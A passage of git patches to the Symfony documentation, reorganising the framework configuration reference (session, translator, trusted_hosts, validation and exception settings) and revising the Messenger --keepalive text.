-`error_reporting PHP option`_. The default log levels will be used for each
-PHP error.
-When a boolean value is used, ``true`` enables logging for all PHP errors
-while ``false`` disables logging entirely.
+save_path
+.........
 
-This option also accepts a map of PHP errors to log levels:
+**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/sessions``
+
+This determines the argument to be passed to the save handler. If you choose
+the default file handler, this is the path where the session files are created.
+
+If ``null``, ``php.ini``'s `session.save_path`_ directive will be relied on:
 
 .. configuration-block::
 
@@ -3017,23 +3192,8 @@ This option also accepts a map of PHP errors to log levels:
 
         # config/packages/framework.yaml
         framework:
-            php_errors:
-                log:
-                    !php/const \E_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_USER_DEPRECATED: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_NOTICE: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_USER_NOTICE: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_STRICT: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_WARNING: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_USER_WARNING: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_COMPILE_WARNING: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_CORE_WARNING: !php/const Psr\Log\LogLevel::ERROR
-                    !php/const \E_USER_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_RECOVERABLE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_COMPILE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_PARSE: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
-                    !php/const \E_CORE_ERROR: !php/const Psr\Log\LogLevel::CRITICAL
+            session:
+                save_path: ~
 
     .. code-block:: xml
 
@@ -3047,322 +3207,267 @@ This option also accepts a map of PHP errors to log levels:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <!-- in XML configuration you cannot use PHP constants as the value of
-                     the 'type' attribute, which makes this format way less readable.
-                     Consider using YAML or PHP for this configuration -->
-                <framework:log type="8" logLevel="error"/>
-                <framework:log type="2" logLevel="error"/>
-                <!-- ... -->
+                <framework:session save-path="null"/>
             </framework:config>
         </container>
 
     .. code-block:: php
 
         // config/packages/framework.php
-        use Psr\Log\LogLevel;
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
-            $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
-            // ...
+            $framework->session()
+                ->savePath(null);
         };
 
-throw
-.....
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-Throw PHP errors as ``\ErrorException`` instances. The parameter
-``debug.error_handler.throw_at`` controls the threshold.
-
-.. _reference-cache:
-
-cache
-~~~~~
-
-.. _reference-cache-app:
-
-app
-...
-
-**type**: ``string`` **default**: ``cache.adapter.filesystem``
+sid_bits_per_character
+......................
 
-The cache adapter used by the ``cache.app`` service. The FrameworkBundle
-ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.system``,
-``cache.adapter.filesystem``, ``cache.adapter.psr6``, ``cache.adapter.redis``,
-``cache.adapter.memcached``, ``cache.adapter.pdo`` and
-``cache.adapter.doctrine_dbal``.
+**type**: ``integer``
 
-There's also a special adapter called ``cache.adapter.array`` which stores
-contents in memory using a PHP array and it's used to disable caching (mostly on
-the ``dev`` environment).
+This determines the number of bits in the encoded session ID character. The possible
+values are ``4`` (0-9, a-f), ``5`` (0-9, a-v), and ``6`` (0-9, a-z, A-Z, "-", ",").
+The more bits results in stronger session ID. ``5`` is recommended value for
+most environments.
 
-.. tip::
+If not set, ``php.ini``'s `session.sid_bits_per_character`_ directive will be relied on.
 
-    It might be tough to understand at the beginning, so to avoid confusion
-    remember that all pools perform the same actions but on different medium
-    given the adapter they are based on. Internally, a pool wraps the definition
-    of an adapter.
+.. deprecated:: 7.2
 
-.. _reference-cache-system:
+    The ``sid_bits_per_character`` option was deprecated in Symfony 7.2. No alternative
+    is provided as PHP 8.4 has deprecated the related option.
 
-system
-......
+sid_length
+..........
 
-**type**: ``string`` **default**: ``cache.adapter.system``
+**type**: ``integer``
 
-The cache adapter used by the ``cache.system`` service. It supports the same
-adapters available for the ``cache.app`` service.
+This determines the length of session ID string, which can be an integer between
+``22`` and ``256`` (both inclusive), ``32`` being the recommended value. Longer
+session IDs are harder to guess.
 
-directory
-.........
+If not set, ``php.ini``'s `session.sid_length`_ directive will be relied on.
 
-**type**: ``string`` **default**: ``%kernel.cache_dir%/pools``
+.. deprecated:: 7.2
 
-The path to the cache directory used by services inheriting from the
-``cache.adapter.filesystem`` adapter (including ``cache.app``).
+    The ``sid_length`` option was deprecated in Symfony 7.2. No alternative is
+    provided as PHP 8.4 has deprecated the related option.
 
-default_doctrine_provider
-.........................
+.. _storage_id:
 
-**type**: ``string``
+storage_factory_id
+..................
 
-The service name to use as your default Doctrine provider. The provider is
-available as the ``cache.default_doctrine_provider`` service.
+**type**: ``string`` **default**: ``session.storage.factory.native``
 
-default_psr6_provider
-.....................
+The service ID used for creating the ``SessionStorageInterface`` that stores
+the session. This service is available in the Symfony application via the
+``session.storage.factory`` service alias. The class has to implement
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\SessionStorageFactoryInterface`.
+To see a list of all available storages, run:
 
-**type**: ``string``
+.. code-block:: terminal
 
-The service name to use as your default PSR-6 provider. It is available as
-the ``cache.default_psr6_provider`` service.
+    $ php bin/console debug:container session.storage.factory.
 
-default_redis_provider
-......................
+use_cookies
+...........
 
-**type**: ``string`` **default**: ``redis://localhost``
+**type**: ``boolean``
 
-The DSN to use by the Redis provider. The provider is available as the ``cache.default_redis_provider``
-service.
+This specifies if the session ID is stored on the client side using cookies or
+not.
 
-default_memcached_provider
-..........................
+If not set, ``php.ini``'s `session.use_cookies`_ directive will be relied on.
 
-**type**: ``string`` **default**: ``memcached://localhost``
+ssi
+~~~
 
-The DSN to use by the Memcached provider. The provider is available as the ``cache.default_memcached_provider``
-service.
+enabled
+.......
 
-default_pdo_provider
-....................
+**type**: ``boolean`` **default**: ``false``
 
-**type**: ``string`` **default**: ``doctrine.dbal.default_connection``
+Whether to enable or not SSI support in your application.
 
-The service id of the database connection, which should be either a PDO or a
-Doctrine DBAL instance. The provider is available as the ``cache.default_pdo_provider``
-service.
+.. _reference-framework-test:
 
-pools
-.....
+test
+~~~~
 
-**type**: ``array``
+**type**: ``boolean``
 
-A list of cache pools to be created by the framework extension.
+If this configuration setting is present (and not ``false``), then the services
+related to testing your application (e.g. ``test.client``) are loaded. This
+setting should be present in your ``test`` environment (usually via
+``config/packages/test/framework.yaml``).
 
 .. seealso::
 
-    For more information about how pools work, see :ref:`cache pools <component-cache-cache-pools>`.
-
-To configure a Redis cache pool with a default lifetime of 1 hour, do the following:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            cache:
-                pools:
-                    cache.mycache:
-                        adapter: cache.adapter.redis
-                        default_lifetime: 3600
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+    For more information, see :doc:`/testing`.
 
-            <framework:config>
-                <framework:cache>
-                    <framework:pool
-                        name="cache.mycache"
-                        adapter="cache.adapter.redis"
-                        default-lifetime="3600"
-                    />
-                </framework:cache>
-                <!-- ... -->
-            </framework:config>
-        </container>
+translator
+~~~~~~~~~~
 
-    .. code-block:: php
+cache_dir
+.........
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations``
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->cache()
-                ->pool('cache.mycache')
-                    ->adapters(['cache.adapter.redis'])
-                    ->defaultLifetime(3600);
-        };
+Defines the directory where the translation cache is stored. Use ``null`` to
+disable this cache.
 
-.. _reference-cache-pools-name:
+.. _reference-translator-default_path:
 
-name
-""""
+default_path
+............
 
-**type**: ``prototype``
+**type**: ``string`` **default**: ``%kernel.project_dir%/translations``
 
-Name of the pool you want to create.
+This option allows to define the path where the application translations files
+are stored.
 
-.. note::
+.. _reference-translator-enabled:
 
-    Your pool name must differ from ``cache.app`` or ``cache.system``.
+enabled
+.......
 
-adapter
-"""""""
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-**type**: ``string`` **default**: ``cache.app``
+Whether or not to enable the ``translator`` service in the service container.
 
-The service name of the adapter to use. You can specify one of the default
-services that follow the pattern ``cache.adapter.[type]``. Alternatively you
-can specify another cache pool as base, which will make this pool inherit the
-settings from the base pool as defaults.
+.. _fallback:
 
-.. note::
+fallbacks
+.........
 
-    Your service needs to implement the ``Psr\Cache\CacheItemPoolInterface`` interface.
+**type**: ``string|array`` **default**: value of `default_locale`_
 
-public
-""""""
+This option is used when the translation key for the current locale wasn't
+found.
 
-**type**: ``boolean`` **default**: ``false``
+.. seealso::
 
-Whether your service should be public or not.
+    For more details, see :doc:`/translation`.
 
-tags
-""""
+.. _reference-framework-translator-formatter:
 
-**type**: ``boolean`` | ``string`` **default**: ``null``
+formatter
+.........
 
-Whether your service should be able to handle tags or not.
-Can also be the service id of another cache pool where tags will be stored.
+**type**: ``string`` **default**: ``translator.formatter.default``
 
-default_lifetime
-""""""""""""""""
+The ID of the service used to format translation messages. The service class
+must implement the :class:`Symfony\\Component\\Translation\\Formatter\\MessageFormatterInterface`.
 
-**type**: ``integer`` | ``string``
+.. _reference-framework-translator-logging:
 
-Default lifetime of your cache items. Give an integer value to set the default
-lifetime in seconds. A string value could be ISO 8601 time interval, like ``"PT5M"``
-or a PHP date expression that is accepted by ``strtotime()``, like ``"5 minutes"``.
+logging
+.......
 
-If no value is provided, the cache adapter will fallback to the default value on
-the actual cache storage.
+**default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
 
-provider
-""""""""
+When ``true``, a log entry is made whenever the translator cannot find a translation
+for a given key. The logs are made to the ``translation`` channel at the
+``debug`` level for keys where there is a translation in the fallback
+locale, and the ``warning`` level if there is no translation to use at all.
 
-**type**: ``string``
+.. _reference-translator-paths:
 
-Overwrite the default service name or DSN respectively, if you do not want to
-use what is configured as ``default_X_provider`` under ``cache``. See the
-description of the default provider setting above for information on how to
-specify your specific provider.
+paths
+.....
 
-clearer
-"""""""
+**type**: ``array`` **default**: ``[]``
 
-**type**: ``string``
+This option allows to define an array of paths where the component will look
+for translation files. The later a path is added, the more priority it has
+(translations from later paths overwrite earlier ones). Translations from the
+:ref:`default_path <reference-translator-default_path>` have more priority than
+translations from all these paths.
 
-The cache clearer used to clear your PSR-6 cache.
+.. _reference-translator-providers:
 
-.. seealso::
+providers
+.........
 
-    For more information, see :class:`Symfony\\Component\\HttpKernel\\CacheClearer\\Psr6CacheClearer`.
+**type**: ``array`` **default**: ``[]``
 
-.. _reference-cache-prefix-seed:
+This option enables and configures :ref:`translation providers <translation-providers>`
+to push and pull your translations to/from third party translation services.
 
-prefix_seed
-...........
+trust_x_sendfile_type_header
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``_%kernel.project_dir%.%kernel.container_class%``
+**type**: ``boolean`` **default**: ``%env(bool:default::SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER)%``
 
-This value is used as part of the "namespace" generated for the
-cache item keys. A common practice is to use the unique name of the application
-(e.g. ``symfony.com``) because that prevents naming collisions when deploying
-multiple applications into the same path (on different servers) that share the
-same cache backend.
+.. versionadded:: 7.2
 
-It's also useful when using `blue/green deployment`_ strategies and more
-generally, when you need to abstract out the actual deployment directory (for
-example, when warming caches offline).
+    In Symfony 7.2, the default value of this option was changed from ``false`` to the
+    value stored in the ``SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER`` environment variable.
 
-.. note::
+``X-Sendfile`` is a special HTTP header that tells web servers to replace the
+response contents by the file that is defined in that header. This improves
+performance because files are no longer served by your application but directly
+by the web server.
 
-    The ``prefix_seed`` option is used at compile time. This means
-    that any change made to this value after container's compilation
-    will have no effect.
+This configuration option determines whether to trust ``x-sendfile`` header for
+BinaryFileResponse. If enabled, Symfony calls the
+:method:`BinaryFileResponse::trustXSendfileTypeHeader <Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader>`
+method automatically. It becomes the service container parameter named
+``kernel.trust_x_sendfile_type_header``.
 
-.. _reference-lock:
+.. _reference-framework-trusted-headers:
 
-lock
-~~~~
+trusted_headers
+~~~~~~~~~~~~~~~
 
-**type**: ``string`` | ``array``
+The ``trusted_headers`` option is needed to configure which client information
+should be trusted (e.g. their host) when running Symfony behind a load balancer
+or a reverse proxy. See :doc:`/deployment/proxies`.
 
-The default lock adapter. If not defined, the value is set to ``semaphore`` when
-available, or to ``flock`` otherwise. Store's DSN are also allowed.
+.. _configuration-framework-trusted-hosts:
 
-.. _reference-lock-enabled:
+trusted_hosts
+~~~~~~~~~~~~~
 
-enabled
-.......
+**type**: ``array`` | ``string`` **default**: ``['%env(default::SYMFONY_TRUSTED_HOSTS)%']``
 
-**type**: ``boolean`` **default**: ``true``
+.. versionadded:: 7.2
 
-Whether to enable the support for lock or not. This setting is
-automatically set to ``true`` when one of the child settings is configured.
+    In Symfony 7.2, the default value of this option was changed from ``[]`` to the
+    value stored in the ``SYMFONY_TRUSTED_HOSTS`` environment variable.
 
-.. _reference-lock-resources:
+A lot of different attacks have been discovered relying on inconsistencies
+in handling the ``Host`` header by various software (web servers, reverse
+proxies, web frameworks, etc.). Basically, every time the framework is
+generating an absolute URL (when sending an email to reset a password for
+instance), the host might have been manipulated by an attacker.
 
-resources
-.........
+.. seealso::
 
-**type**: ``array``
+    You can read `HTTP Host header attacks`_ for more information about
+    these kinds of attacks.
 
-A map of lock stores to be created by the framework extension, with
-the name as key and DSN as value:
+The Symfony :method:`Request::getHost() <Symfony\\Component\\HttpFoundation\\Request::getHost>`
+method might be vulnerable to some of these attacks because it depends on
+the configuration of your web server. One simple solution to avoid these
+attacks is to configure a list of hosts that your Symfony application can respond
+to. That's the purpose of this ``trusted_hosts`` option. If the incoming
+request's hostname doesn't match one of the regular expressions in this list,
+the application won't respond and the user will receive a 400 response.
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/lock.yaml
+        # config/packages/framework.yaml
         framework:
-            lock: '%env(LOCK_DSN)%'
+            trusted_hosts:  ['^example\.com$', '^example\.org$']
 
     .. code-block:: xml
 
-        <!-- config/packages/lock.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -3372,73 +3477,76 @@ the name as key and DSN as value:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:lock>
-                    <framework:resource name="default">%env(LOCK_DSN)%</framework:resource>
-                </framework:lock>
+                <framework:trusted-host>^example\.com$</framework:trusted-host>
+                <framework:trusted-host>^example\.org$</framework:trusted-host>
+                <!-- ... -->
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/lock.php
+        // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->lock()
-                ->resource('default', [env('LOCK_DSN')]);
+            $framework->trustedHosts(['^example\.com$', '^example\.org$']);
         };
 
-.. seealso::
-
-    For more details, see :doc:`/lock`.
-
-.. _reference-lock-resources-name:
+Hosts can also be configured to respond to any subdomain, via
+``^(.+\.)?example\.com$`` for instance.
 
-name
-""""
+In addition, you can also set the trusted hosts in the front controller
+using the ``Request::setTrustedHosts()`` method::
 
-**type**: ``prototype``
+    // public/index.php
+    Request::setTrustedHosts(['^(.+\.)?example\.com$', '^(.+\.)?example\.org$']);
 
-Name of the lock you want to create.
+The default value for this option is an empty array, meaning that the application
+can respond to any given host.
 
-semaphore
-~~~~~~~~~
+.. seealso::
 
-**type**: ``string`` | ``array``
+    Read more about this in the `Security Advisory Blog post`_.
 
-The default semaphore adapter. Store's DSN are also allowed.
+.. _reference-framework-trusted-proxies:
 
-.. _reference-semaphore-enabled:
+trusted_proxies
+~~~~~~~~~~~~~~~
 
-enabled
-.......
+The ``trusted_proxies`` option is needed to get precise information about the
+client (e.g. their IP address) when running Symfony behind a load balancer or a
+reverse proxy. See :doc:`/deployment/proxies`.
 
-**type**: ``boolean`` **default**: ``true``
+.. _reference-validation:
 
-Whether to enable the support for semaphore or not. This setting is
-automatically set to ``true`` when one of the child settings is configured.
+validation
+~~~~~~~~~~
 
-.. _reference-semaphore-resources:
+.. _reference-validation-auto-mapping:
 
-resources
-.........
+auto_mapping
+............
 
-**type**: ``array``
+**type**: ``array`` **default**: ``[]``
 
-A map of semaphore stores to be created by the framework extension, with
-the name as key and DSN as value:
+Defines the Doctrine entities that will be introspected to add
+:ref:`automatic validation constraints <automatic_object_validation>` to them:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/semaphore.yaml
         framework:
-            semaphore: '%env(SEMAPHORE_DSN)%'
+            validation:
+                auto_mapping:
+                    # an empty array means that all entities that belong to that
+                    # namespace will add automatic validation
+                    'App\Entity\': []
+                    'Foo\': ['Foo\Some\Entity', 'Foo\Another\Entity']
 
     .. code-block:: xml
 
-        <!-- config/packages/semaphore.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -3448,93 +3556,91 @@ the name as key and DSN as value:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:semaphore>
-                    <framework:resource name="default">%env(SEMAPHORE_DSN)%</framework:resource>
-                </framework:semaphore>
+                <framework:validation>
+                    <framework:auto-mapping>
+                        <framework:service namespace="App\Entity\"/>
+
+                        <framework:service namespace="Foo\">Foo\Some\Entity</framework:service>
+                        <framework:service namespace="Foo\">Foo\Another\Entity</framework:service>
+                    </framework:auto-mapping>
+                </framework:validation>
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/semaphore.php
+        // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->semaphore()
-                ->resource('default', ['%env(SEMAPHORE_DSN)%']);
+            $framework->validation()
+                ->autoMapping()
+                    ->paths([
+                        'App\\Entity\\' => [],
+                        'Foo\\' => ['Foo\\Some\\Entity', 'Foo\\Another\\Entity'],
+                    ]);
         };
 
-.. _reference-semaphore-resources-name:
-
-name
-""""
-
-**type**: ``prototype``
-
-Name of the semaphore you want to create.
+.. _reference-validation-email_validation_mode:
 
-mailer
-~~~~~~
+email_validation_mode
+.....................
 
-.. _mailer-dsn:
+**type**: ``string`` **default**: ``html5``
 
-dsn
-...
+Sets the default value for the
+:ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
 
-**type**: ``string`` **default**: ``null``
+.. _reference-validation-enable_annotations:
 
-The DSN used by the mailer. When several DSN may be used, use
-``transports`` option (see below) instead.
+enable_attributes
+.................
 
-transports
-..........
+**type**: ``boolean`` **default**: ``true``
 
-**type**: ``array``
+If this option is enabled, validation constraints can be defined using `PHP attributes`_.
 
-A :ref:`list of DSN <multiple-email-transports>` that can be used by the
-mailer. A transport name is the key and the dsn is the value.
+.. _reference-validation-enabled:
 
-message_bus
-...........
+enabled
+.......
 
-**type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
-Service identifier of the message bus to use when using the
-:doc:`Messenger component </messenger>` (e.g. ``messenger.default_bus``).
+Whether or not to enable validation support.
 
-envelope
-........
+This option will automatically be set to ``true`` when one of the child
+settings is configured.
 
-sender
-""""""
+.. _reference-validation-mapping:
 
-**type**: ``string``
+mapping
+.......
 
-The "envelope sender" which is used as the value of ``MAIL FROM`` during the
-`SMTP session`_. This value overrides any other sender set in the code.
+.. _reference-validation-mapping-paths:
 
-recipients
-""""""""""
+paths
+"""""
 
-**type**: ``array``
+**type**: ``array`` **default**: ``['config/validation/']``
 
-The "envelope recipient" which is used as the value of ``RCPT TO`` during the
-the `SMTP session`_. This value overrides any other recipient set in the code.
+This option allows to define an array of paths with files or directories where
+the component will look for additional validation files:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        # config/packages/mailer.yaml
+        # config/packages/framework.yaml
         framework:
-            mailer:
-                dsn: 'smtp://localhost:25'
-                envelope:
-                    recipients: ['admin@symfony.com', 'lead@symfony.com']
+            validation:
+                mapping:
+                    paths:
+                        - "%kernel.project_dir%/config/validation/"
 
     .. code-block:: xml
 
-        <!-- config/packages/mailer.xml -->
+        <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -3542,63 +3648,77 @@ the `SMTP session`_. This value overrides any other recipient set in the code.
             xsi:schemaLocation="http://symfony.com/schema/dic/services
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
             <framework:config>
-                <framework:mailer dsn="smtp://localhost:25">
-                    <framework:envelope>
-                        <framework:recipient>admin@symfony.com</framework:recipient>
-                        <framework:recipient>lead@symfony.com</framework:recipient>
-                    </framework:envelope>
-                </framework:mailer>
+                <framework:validation>
+                    <framework:mapping>
+                        <framework:path>%kernel.project_dir%/config/validation/</framework:path>
+                    </framework:mapping>
+                </framework:validation>
             </framework:config>
         </container>
 
     .. code-block:: php
 
-        // config/packages/mailer.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-        return static function (ContainerConfigurator $container): void {
-            $container->extension('framework', [
-                'mailer' => [
-                    'dsn' => 'smtp://localhost:25',
-                    'envelope' => [
-                        'recipients' => [
-                            'admin@symfony.com',
-                            'lead@symfony.com',
-                        ],
-                    ],
-                ],
-            ]);
+        return static function (FrameworkConfig $framework): void {
+            $framework->validation()
+                ->mapping()
+                    ->paths(['%kernel.project_dir%/config/validation/']);
         };
 
-.. _mailer-headers:
+.. _reference-validation-not-compromised-password:
 
-headers
-.......
+not_compromised_password
+........................
 
-**type**: ``array``
+The :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+constraint makes HTTP requests to a public API to check if the given password
+has been compromised in a data breach.
 
-Headers to add to emails. The key (``name`` attribute in xml format) is the
-header name and value the header value.
+static_method
+.............
 
-.. seealso::
+**type**: ``string | array`` **default**: ``['loadValidatorMetadata']``
 
-    For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
+Defines the name of the static method which is called to load the validation
+metadata of the class. You can define an array of strings with the names of
+several methods. In that case, all of them will be called in that order to load
+the metadata.
 
-messenger
-~~~~~~~~~
+translation_domain
+..................
+
+**type**: ``string | false`` **default**: ``validators``
+
+The translation domain that is used when translating validation constraint
+error messages. Use false to disable translations.
+
+
+.. _reference-validation-not-compromised-password-enabled:
 
 enabled
-.......
+"""""""
 
 **type**: ``boolean`` **default**: ``true``
 
-Whether to enable or not Messenger.
+If you set this option to ``false``, no HTTP requests will be made and the given
+password will be considered valid. This is useful when you don't want or can't
+make HTTP requests, such as in ``dev`` and ``test`` environments or in
+continuous integration servers.
 
-.. seealso::
+endpoint
+""""""""
 
-    For more details, see the :doc:`Messenger component </messenger>`
-    documentation.
+**type**: ``string`` **default**: ``null``
+
+By default, the :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
+constraint uses the public API provided by `haveibeenpwned.com`_. This option
+allows to define a different, but compatible, API endpoint to make the password
+checks. It's useful for example when the Symfony application is run in an
+intranet without public access to the internet.
 
 web_link
 ~~~~~~~~
@@ -3770,125 +3890,6 @@ Defines the kind of workflow that is going to be created, which can be either
 a normal workflow or a state machine. Read :doc:`this article </workflow/workflow-and-state-machine>`
 to know their differences.
 
-.. _framework_exceptions:
-
-exceptions
-~~~~~~~~~~
-
-**type**: ``array``
-
-Defines the :ref:`log level </logging>` and HTTP status code applied to the
-exceptions that match the given exception class:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/exceptions.yaml
-        framework:
-            exceptions:
-                Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
-                    log_level: 'debug'
-                    status_code: 422
-
-    .. code-block:: xml
-
-        <!-- config/packages/exceptions.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:exception
-                    class="Symfony\Component\HttpKernel\Exception\BadRequestHttpException"
-                    log-level="debug"
-                    status-code="422"
-                />
-                <!-- ... -->
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/exceptions.php
-        use Symfony\Component\HttpKernel\Exception\BadRequestHttpException;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework): void {
-            $framework->exception(BadRequestHttpException::class)
-                ->logLevel('debug')
-                ->statusCode(422)
-            ;
-        };
-
-The order in which you configure exceptions is important because Symfony will
-use the configuration of the first exception that matches ``instanceof``:
-
-.. code-block:: yaml
-
-        # config/packages/exceptions.yaml
-        framework:
-            exceptions:
-                Exception:
-                    log_level: 'debug'
-                    status_code: 404
-                # The following configuration will never be used because \RuntimeException extends \Exception
-                RuntimeException:
-                    log_level: 'debug'
-                    status_code: 422
-
-You can map a status code and a set of headers to an exception thanks
-to the ``#[WithHttpStatus]`` attribute on the exception class::
-
-    namespace App\Exception;
-
-    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
-
-    #[WithHttpStatus(422, [
-       'Retry-After' => 10,
-       'X-Custom-Header' => 'header-value',
-    ])]
-    class CustomException extends \Exception
-    {
-    }
-
-It is also possible to map a log level on a custom exception class using
-the ``#[WithLogLevel]`` attribute::
-
-    namespace App\Exception;
-
-    use Psr\Log\LogLevel;
-    use Symfony\Component\HttpKernel\Attribute\WithLogLevel;
-
-    #[WithLogLevel(LogLevel::WARNING)]
-    class CustomException extends \Exception
-    {
-    }
-
-The attributes can also be added to interfaces directly::
-
-    namespace App\Exception;
-
-    use Symfony\Component\HttpKernel\Attribute\WithHttpStatus;
-
-    #[WithHttpStatus(422)]
-    interface CustomExceptionInterface
-    {
-    }
-
-    class CustomException extends \Exception implements CustomExceptionInterface
-    {
-    }
-
-.. versionadded:: 7.1
-
-    Support to use ``#[WithHttpStatus]`` and ``#[WithLogLevel]`` attributes
-    on interfaces was introduced in Symfony 7.1.
-
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler

From 7c70485deecc094e84dc36d99f4eb86fc1e8fff3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Feb 2025 16:33:11 +0100
Subject: [PATCH 6757/7107] [Messenger] Fix some syntax issue

---
 messenger.rst | 23 ++++++++++-------------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e4f4abf60eb..d76e2170c09 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -543,14 +543,19 @@ command with the ``--all`` option:
 
     The ``--all`` option was introduced in Symfony 7.1.
 
-The ``--keepalive`` option can be used to prevent messages from being prematurely
-redelivered during long-running processing. It marks the message as "in progress"
-and prevents it from being redelivered until the worker finishes processing it.
+Messages that take a long time to process may be redelivered prematurely because
+some transports assume that an unacknowledged message is lost. To prevent this
+issue, use the ``--keepalive`` command option to specify an interval (in seconds;
+default value = ``5``) at which the message is marked as "in progress". This prevents
+the message from being redelivered until the worker completes processing it:
+
+.. code-block:: terminal
+
+    $ php bin/console messenger:consume --keepalive
 
 .. note::
 
-    This option is only available for supported transports, which are
-    the Beanstalkd and AmazonSQS transports.
+    This option is only available for the following transports: Beanstalkd and AmazonSQS.
 
 .. versionadded:: 7.2
 
@@ -1724,10 +1729,6 @@ The transport has a number of options:
     The message time to run before it is put back in the ready queue - in
     seconds.
 
-.. versionadded:: 7.2
-
-    Keepalive support, using the ``--keepalive`` option, was added in Symfony 7.2.
-
 .. _messenger-redis-transport:
 
 Redis Transport
@@ -2050,10 +2051,6 @@ The transport has a number of options:
